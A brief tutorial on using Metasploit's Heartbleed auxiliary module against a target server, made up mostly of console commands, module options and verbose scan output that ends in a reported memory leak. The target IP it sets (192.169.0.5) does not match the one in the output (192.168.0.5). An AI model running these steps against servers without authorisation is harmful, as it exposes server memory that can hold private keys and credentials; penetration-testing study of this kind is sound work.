An simple tutorial how to exploit Heartbleed OpenSSL Bug using Metasploit
## Login to your Metasploit Framework
root@kali:~#msfconsole
## Search the Heartbleed
msf > search heartbleed
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak
auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
## Use the Heartbleed Auxiliary and run show options command
msf > use auxiliary/scanner/ssl/openssl_heartbleed
msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMPFILTER no Pattern to filter leaked memory before storing
MAX_KEYTRIES 50 yes Max tries to dump key
RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response
RHOSTS yes The target address range or CIDR identifier
RPORT 443 yes The target port
STATUS_EVERY 5 yes How many retries until status
THREADS 1 yes The number of concurrent threads
TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTGRES)
TLS_VERSION 1.0 yes TLS/SSL version to use (Accepted: SSLv3, 1.0, 1.1, 1.2)
Auxiliary action:
Name Description
---- -----------
SCAN Check hosts for vulnerability
## Set the RHOSTS with your target IP
msf auxiliary(openssl_heartbleed) > set RHOSTS 192.169.0.5
RHOSTS => 192.169.0.5
## Set verbose mode true
msf auxiliary(openssl_heartbleed) > set verbose true
verbose => true
## Now exploit the target
msf auxiliary(openssl_heartbleed) > exploit
[*] 192.168.0.5:443 - Sending Client Hello...
[*] 192.168.0.5:443 - SSL record #1:
[*] 192.168.0.5:443 - Type: 22
[*] 192.168.0.5:443 - Version: 0x0301
[*] 192.168.0.5:443 - Length: 86
[*] 192.168.0.5:443 - Handshake #1:
[*] 192.168.0.5:443 - Length: 82
[*] 192.168.0.5:443 - Type: Server Hello (2)
[*] 192.168.0.5:443 - Server Hello Version: 0x0301
[*] 192.168.0.5:443 - Server Hello random data: 57670028c2586feab7b89acb206737fb5a3c266668740367834100a7049f80c8
[*] 192.168.0.5:443 - Server Hello Session ID length: 32
[*] 192.168.0.5:443 - Server Hello Session ID: 34fd54aeab97d916e4b3fa0526dad8962efff7b19b22a15a94811d1730a08a94
[*] 192.168.0.5:443 - SSL record #2:
[*] 192.168.0.5:443 - Type: 22
[*] 192.168.0.5:443 - Version: 0x0301
[*] 192.168.0.5:443 - Length: 5329
[*] 192.168.0.5:443 - Handshake #1:
[*] 192.168.0.5:443 - Length: 5325
[*] 192.168.0.5:443 - Type: Certificate Data (11)
[*] 192.168.0.5:443 - Certificates length: 5322
[*] 192.168.0.5:443 - Data length: 5325
[*] 192.168.0.5:443 - Certificate #1:
[*] 192.168.0.5:443 - Certificate #1: Length: 1893
[*] 192.168.0.5:443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000000055eb028>, issuer=#<OpenSSL::X509::Name:0x000000055eb050>, serial=#<OpenSSL::BN:0x000000055eb078>, not_before=2015-10-07 02:26:39 UTC, not_after=2017-10-02 02:36:38 UTC>
[*] 192.168.0.5:443 - Certificate #2:
[*] 192.168.0.5:443 - Certificate #2: Length: 1236
[*] 192.168.0.5:443 - Certificate #2: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000000055c8898>, issuer=#<OpenSSL::X509::Name:0x000000055c8938>, serial=#<OpenSSL::BN:0x000000055c8a28>, not_before=2011-05-03 07:00:00 UTC, not_after=2031-05-03 07:00:00 UTC>
[*] 192.168.0.5:443 - Certificate #3:
[*] 192.168.0.5:443 - Certificate #3: Length: 1153
[*] 192.168.0.5:443 - Certificate #3: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x000000055a6cc0>, issuer=#<OpenSSL::X509::Name:0x000000055a6ce8>, serial=#<OpenSSL::BN:0x000000055a6d10>, not_before=2014-01-01 07:00:00 UTC, not_after=2031-05-30 07:00:00 UTC>
[*] 192.168.0.5:443 - Certificate #4:
[*] 192.168.0.5:443 - Certificate #4: Length: 1028
[*] 192.168.0.5:443 - Certificate #4: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name:0x00000005589710>, issuer=#<OpenSSL::X509::Name:0x00000005589738>, serial=#<OpenSSL::BN:0x00000005589760>, not_before=2004-06-29 17:06:20 UTC, not_after=2034-06-29 17:06:20 UTC>
[*] 192.168.0.5:443 - SSL record #3:
[*] 192.168.0.5:443 - Type: 22
[*] 192.168.0.5:443 - Version: 0x0301
[*] 192.168.0.5:443 - Length: 331
[*] 192.168.0.5:443 - Handshake #1:
[*] 192.168.0.5:443 - Length: 327
[*] 192.168.0.5:443 - Type: Server Key Exchange (12)
[*] 192.168.0.5:443 - SSL record #4:
[*] 192.168.0.5:443 - Type: 22
[*] 192.168.0.5:443 - Version: 0x0301
[*] 192.168.0.5:443 - Length: 4
[*] 192.168.0.5:443 - Handshake #1:
[*] 192.168.0.5:443 - Length: 0
[*] 192.168.0.5:443 - Type: Server Hello Done (14)
[*] 192.168.0.5:443 - Sending Heartbeat...
[*] 192.168.0.5:443 - Heartbeat response, 65535 bytes
[+] 192.168.0.5:443 - Heartbeat response with leak
Thank you :)
